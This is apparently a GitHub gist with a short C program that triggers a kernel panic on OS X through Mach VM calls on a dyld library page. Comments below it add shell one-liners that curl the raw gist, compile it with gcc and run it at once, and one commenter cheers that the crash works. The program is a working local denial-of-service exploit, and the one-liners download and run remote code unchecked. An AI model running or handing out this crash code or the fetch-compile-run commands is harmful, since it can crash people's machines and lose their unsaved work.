Kernel panic in latest OS X in 10 lines of C

gistfile1.txt

#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach-o/dyld.h>

int
main (int argc, char * argv[])
{
  volatile char * library;
  const mach_vm_size_t page_size = getpagesize ();
  const mach_vm_size_t buffer_size = 3 * page_size;
  char buffer[buffer_size];
  mach_vm_size_t result_size;

  library = (char *) _dyld_get_image_header (1);
  mach_vm_protect (mach_task_self (), (mach_vm_address_t) (library + page_size), page_size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE);
  library[page_size]++;
  library[page_size]--;
  result_size = 0;
  mach_vm_read_overwrite (mach_task_self (), (mach_vm_address_t) library, buffer_size, (mach_vm_address_t) buffer, &result_size);

  return 0;
}

library[page_size]++;
library[page_size]--; 

Am I being trolled?

@Bilge No, these two lines are used to make the library dirty. See @oleavr 's comment.

panickerPath=`mktemp`
curl https://gist.githubusercontent.com/anonymous/de6b81c556b5dc7cdc8b/raw/f94865347edc780c5c8490db097648ac50f9b8ba/gistfile1.txt | gcc -xc -o $panickerPath -
./$panickerPath

This might work. I tried to improve @workmanw's solution for it to work without writing the C code to a file.

@CoolOppo With bash:

cc -xc <(curl https://gist.githubusercontent.com/anonymous/de6b81c556b5dc7cdc8b/raw/f94865347edc780c5c8490db097648ac50f9b8ba/gistfile1.txt) && ./a.out

The code do works!!! Awesome!!! Fantastic!!! Unreal!!!